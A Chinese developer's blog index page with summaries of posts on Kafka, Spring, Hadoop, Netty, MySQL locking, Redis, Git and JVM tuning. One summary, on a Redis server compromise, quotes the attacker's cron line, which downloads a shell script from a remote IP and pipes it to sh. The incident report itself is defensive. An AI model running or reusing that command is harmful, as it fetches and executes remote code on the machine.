- 博客(76)
- 收藏
- 关注
原创 kafka总结
Kafka核心机制总结 集群架构:Kafka采用主从架构,Controller节点管理集群元数据,通过ZooKeeper选举Controller并监控节点状态。 副本分配:主题创建时,通过算法分配副本(考虑机架感知),ISR列表维护同步副本,Leader故障时优先从ISR选举新Leader。 生产流程:生产者通过拦截器、序列化、分区器处理后,由RecordAccumulator缓冲数据,按批次发送至Broker。 关键概念: LEO:副本日志末端偏移量,标记下条消息写入位置。 ISR:同步副本列表,确保数据
2025-03-18 13:54:16
1245
原创 从ObjectFactory接口谈为什么是三级缓存而不是两个
Spring使用三级缓存解决循环依赖问题,主要是为了兼顾代理对象的创建流程。二级缓存理论上可以解决普通循环依赖,但当涉及代理对象时会产生问题。Spring最初的设计原则是在bean生命周期的最后阶段(初始化后)创建代理对象。三级缓存通过存储ObjectFactory的lambda表达式,在需要时才决定是否创建代理对象:若存在循环依赖则提前调用生成代理,否则保持原有流程。这样既解决了代理对象的循环依赖,又不破坏Spring原有的bean创建顺序。
2025-08-21 23:36:54
707
原创 topk问题为什么是用小根堆而不是大根堆
摘要:在topk问题中采用小根堆而非大根堆的主要原因在于效率优化。维护大小为k的小根堆时,只需在遍历到的新元素大于堆顶最小值时才进行堆调整(O(logk)),否则直接跳过,大幅减少调整次数。而大根堆需要每次遍历都调整堆,时间复杂度为O(n*logk)。对于海量数据,小根堆通过提前过滤较小值显著提升性能。虽然大根堆也能解决问题,但小根堆的筛选机制使其成为更优选择。(149字)
2025-08-06 21:37:25
354
原创 maven仓库
Maven仓库配置摘要 Maven仓库分为本地仓库(默认路径~/.m2/repository)和远程仓库(包括中央仓库和其他私服仓库)。仓库配置方式主要有三种: settings.xml:可配置本地仓库路径(<localRepository>)和远程仓库(需在<profiles>内定义<repositories>和<pluginRepositories>) pom.xml:可直接在项目中配置<repositories>和<pluginRepo
2025-07-02 22:04:34
736
原创 Hadoop之MapReduce
MapReduce是一种分布式计算框架,用于在大规模数据集上进行并行运算。它由谷歌提出,后被Hadoop实现为核心模块。MapReduce通过"移动计算而非数据"的理念,将计算程序分发到数据存储节点上执行,减少网络传输开销。其核心思想分为Map和Reduce两个阶段:Map阶段处理原始数据并输出键值对,Reduce阶段汇总处理结果。MapReduce具有易编程、可扩展性、高容错性等优点,适合PB级离线数据处理,但不适用于实时计算、流式计算等场景。开发人员只需关注业务逻辑,无需考虑分布式细
2025-06-30 18:23:16
933
原创 Hadoop之HDFS
Hadoop与HDFS概述 本文介绍了Hadoop的核心概念、发展历程及主要组成部分。Hadoop作为Apache开源项目,起源于2002年的Nutch搜索引擎项目,受谷歌三篇论文(GFS、MapReduce、BigTable)启发,逐步发展成分布式存储与计算平台。文章详细阐述了Hadoop产生的背景(解决大数据存储与处理问题)、版本演变(包括社区版和商业版本)以及生态系统(包含HBase、Hive、Spark等20多个相关项目)。其中HDFS作为Hadoop分布式文件系统,解决了大数据存储和高效读取问题,
2025-06-25 18:12:49
1418
原创 Netty总结
文章摘要: 本文总结了Java NIO的核心概念,重点分析了阻塞IO、非阻塞IO和IO多路复用的区别与实现。NIO通过Channel、Buffer和Selector三个核心组件实现了非阻塞IO操作,其中Channel替代了传统IO流,支持双向数据传输;Selector则封装了操作系统级的IO多路复用机制。文章通过代码示例对比了阻塞IO(线程在等待数据时被挂起)和非阻塞IO(线程持续轮询但不挂起)的工作方式,并指出非阻塞IO通过单线程处理多连接的优点及其空转问题。最后展示了基于Selector的IO多路复用实
2025-05-16 16:19:21
970
原创 对美团leaf的初步学习
我的项目中使用的雪花算法生成的全局订单号。但是考虑到了雪花算法可能会由于时钟回拨导致生成的全局id重复。,并总结出该文章。
2025-04-19 17:10:29
1235
原创 复习JUC的总结笔记
调用Thread的start方法会调用start0,start0会调用该Thread类的run方法。Thread类如果传入了Runnable,run方法里会调用Runnable的run方法,如果没有传入,则什么也不会做。也可以通过重写Thread的run方法,让start0调用重写的run方法。start 方法只是让线程进入就绪,里面代码不一定立刻运行(CPU 的时间片还没分给它)。每个线程对象的start方法只能调用一次,如果调用了多次会出现IllegalThreadStateException。
2025-04-19 17:05:42
944
原创 Mysql的行级锁到底锁住了哪些行
主键索引(即使自己没有明确指定主键行,MySQL会默认选择一个唯一的非空索引作为聚簇索引,如果没有适合的非空唯一索引,则会创建一个隐藏的主键(row id)作为聚簇索引)组织起来的,数据都存储在叶子结点上。二级索引存储主键值,查询时需回表到主键索引获取数据。若通过二级索引更新,先锁二级索引条目,如果命中了索引覆盖这种情况,则不会再锁主键索引条目。若WHERE条件无可用索引,InnoDB会全表扫描(遍历主键索引),导致所有扫描的行(包括不符合条件的行)被加锁。在可重复读隔离级别下,还会添加间隙锁,
2025-03-08 17:55:36
869
原创 centos虚拟机部署redis踩坑
以前都是用的云服务器或windows本地启动的redis,想在本地linux虚拟机部署一个,踩了一些坑,记录一下。
2025-02-15 14:32:23
974
原创 Java线程池原理分析
从这也能看出,核心线程和非核心线程本身没有任何区别,某一个线程getTask获取任务时,获取不到任务也就释放了,线程池也不知道释放的是核心线程还是非核心线程,谁被释放掉了,谁就是非核心线程。其余线程(再说非核心线程都不太合适了,应该说其余线程)没有任务也不会释放原因:当前线程数wc已经不大于corePoolSize了执行的是BlockingQueue的take阻塞获取方法,该方法获取不到会一直卡着,直到获取到任务。
2025-01-13 19:00:11
1050
原创 elasticsearch基础总结
索引名和字段名命名规范:1.英文全小写 2.不要使用驼峰3.多个单词之间用_分隔索引的不可变性:索引创建成功后,索引名称、主分片数量(但可以修改副本数量)、字段类型不可变。也不可以删除某个字段,但可以新增字段。
2024-12-06 20:33:33
985
原创 使用充血模型构建实体类对象时要用到容器里的内容怎么办?
最近实习中,每次想要构建TokenRequest对象时,都要new出来,然后用@Value(“”)从配置文件获取值然后set赋值所以就想用充血模型优化一下但是 TokenRequest是一个实体类,不是一个bean,是不能直接从spring上下文获取到配置文件中的的值的,怎么办呢?
2024-11-18 12:32:00
302
原创 git操作总结
Git基础知识摘要:介绍Git工作区域(远程/本地仓库、工作区、暂存区)和文件状态(未跟踪/已修改/已暂存/已提交)。详细说明常用操作:克隆仓库、初始化、添加/提交文件、推送/拉取代码、分支管理(创建/切换/合并)等。重点讲解merge与rebase的区别,以及如何查看提交历史和文件状态。提供解决克隆报错的代理设置方法,并解释命令参数中"-"与"--"的区别。包含实用技巧如设置log别名、撤回commit等。适合初学者快速掌握Git核心概念和日常使用命令。
2024-11-18 12:31:13
1084
原创 创意标题匹配问题 解析| 豆包MarsCode AI 刷题
e" 前后加开始结束符号->"^ad.*cdc.*f.*e$"。用这个^ad.*cdc.*f.*e$正则表达式就可以判断全部字符串是否又该template模版生成。这道题完全可以由正则表达式判断,拿template="ad{xyz}cdc{y}f{x}e"举例: "ad{xyz}cdc{y}f{x}e" 将通配符都替换->"ad.:'.'匹配除换行符以外的任何单个字符。'*'表示前面的字符可以出现0次或多次。: '.'匹配除换行符以外的任何单个字符。:'.'匹配除换行符以外的任何单个字符。
2024-11-06 21:16:42
793
原创 SpringBoot中怎么定义一个stater?自动装配规则到底是怎样的?
最近实习发现公司项目中有spring.factories文件,是用来定义starter的,让这个模块可以那为什么还必须用spring.factories配置才能被其他模块使用,直接引入依赖不能直接使用吗?答案是能用,但是只能使用这个模块中的非Bean,也就是非spring容器中的类(例如工具类的静态方法)。
2024-11-01 16:24:19
1402
原创 idea中项目名后面还有[别名]
直接从另一个项目中拷贝过来一个pom文件,改了artifactId刷新后发现项目名称后面有个别名。项目结构->模块,修改名称即可。
2024-11-01 16:23:58
611
原创 offset Explorer连接云服务上的kafka连接不上
listeners和advertised.listeners。加上面两条配置,再次测试连接,成功。
2024-10-27 17:28:30
1347
原创 Mysql的Innodb的RR隔离级别到底有没有解决幻读问题?
InnoDB中的repeatable read这种隔离级别通过解决了大部分的幻读问题,但是并不是所有的幻读都能解读,想要彻底解决幻读,需要使用Serializable的隔离级别。
2024-10-14 21:14:42
727
原创 JVM性能调优-JVM工具使用
jps -q 只看进程idjps -l 显示java进程的完整类名jps -m 查看传递给主类main()的参数jps -v 列出虚拟机启动时的jvm参数以上参数可以组合使用。
2024-10-10 12:05:15
1071
1
原创 单表2000万要考虑分表?三层B+树大概能存多少数据量?
我们都知道,随着表中数据量的增加,B+树的高度会逐渐增加。如果 B+树的高度过高,每次查询需要经过较多的层级,会导致查询性能下降。因此,B+树的高度限制是单表存储量的一个瓶颈。对于B+树的高度限制,一般建议将B+树的高度控制在3到4层以内,以获得更快的查询性能。B+树的非叶子结点存储主键和指向子结点的指针,叶子结点存储实际的数据行。
2024-10-10 11:24:45
778
原创 Spring不是引入了三级缓存,解决了循环依赖的问题吗?
其实,在 Spring 2.6 开始,默认已经不开启对循环依赖的支持了,如果想要开启对循环依赖的支持,需要在配置文件中加入。或者用springboot2.6版本以下的。
2024-08-27 22:03:02
627
原创 redis核心数据结构源码分析
在 Redis 的实现中,当一个键值对被创建并存储时,键通常是一个字符串,而值则是一个。因此,在dictEntry结构中,key成员指向的是一个字符串,而v.val成员则指向一个。这意味着,当你在 Redis 中存储一个值时,你实际上是在字典中插入一个dictEntry,其中dictEntry的值部分指向一个包含实际数据和元数据的。
2024-08-24 22:35:54
1507
原创 手写redis分布式锁
1.独占性:任何时候有且仅有一个线程持有锁2.放死锁:有超时控制机制或撤销操作,得有个释放锁的兜底方案3.不乱抢:不能张冠李戴,不能unlock别人加的锁4.可重入性:自己加的锁自己还可以再次获得基于setnx命令实现分布式锁,setnx成功返回1,失败返回0。
2024-07-11 11:23:41
629
原创 双向链表+Map实现LRU
LRU是Least Recently Used的缩写,即最近最少使用,是一种常用的,选择最近最久未使用的页面予以淘汰。
2024-07-09 09:10:39
742
原创 设计模式之单例模式(Java)
在序列化的过程中,只是将枚举对象的名字(即枚举常量的名字)写入到序列化文件中;这保证了在反序列化过程中无论如何都只会得到枚举中定义的枚举常量,而不会重新创建新的对象。因此,枚举类型的单例模式在反序列化过程中也能保持单例的状态,不会被破坏。解决方法只需要在单例类里加上一个readResolve()方法即可,原因就是在反序列化的过程中,会检测readResolve()方法是否存在,如果存在的话就会反射调用readResolve()这个方法。枚举类型的构造器是私有的,并且编译器会确保枚举常量只能被实例化一次。
2024-07-06 21:45:20
843
原创 缓存与数据库数据一致性问题
还是前面的例子,一个读线程从缓存中没有查到值,然后查数据库查到10,这时候恰好一个写线程删缓存更新数据库为20,然后读线程更新缓存为10。如果读写次序是:读线程先读缓存,缓存没有,查数据库值假如为10,这时候更新缓存和数据库的写操作执行了写数据库和缓存为20,然后读线程接着又更新缓存它从数据库查到的10。在用了redis缓存的系统中,正常情况下,一个读操作会先查缓存,如果在缓存中查到了,则直接返回,如果缓存中没有,则会查数据库,再将查到的数据写到redis中,然后返回。所以更新缓存就不太行。
2024-07-05 17:56:49
817
原创 记录第一次云服务器redis被黑
redis里莫名奇妙被写入四个键值对,backup1,backup2,backup3,backup4,内容是奇奇怪怪的sh脚本:*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh。施展百度大法后发现原来被挖矿了.....(redis明明设置了密码.....)解决办法:设置更复杂的redis连接密码,安全组,防火墙。
2024-04-24 21:30:40
901
原创 使用idea 调试HashMap时出现ExpiringCache
调试HashMap源码验证是在第一次put才创建table时,发现刚new出来HashMap表的size已经有值了?!!而且都是关于ExpiringCache之类的。
2024-04-06 19:30:26
585
1
原创 黑马学成在线项目bug记录
No converter found for return value of type: class com.xuecheng.base.model.PageResultIllegal DefaultValue null for parameter type integer
2023-12-19 21:09:19
527
原创 【Java】构建哈夫曼树和输出哈夫曼编码
一个单位有12个部门,每个部门都有一部电话,但是整个单位只有一根外线,当有电话打过来的时候,由转接员转到内线电话,已知各部门使用外线电话的频率为(次/天):5 20 10 12 8 43 5 6 9 15 19 32。利用哈夫曼树算法思想设计内线电话号码,使得接线员拨号次数尽可能少。要求:(1)依据使用外线电话的频率构造二叉树;(2)输出设计出的各部门内线电话号码。
2023-12-09 17:29:17
940
zzulioj部分题目答案(1101~1187、2113)
2023-10-07
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人
RSS订阅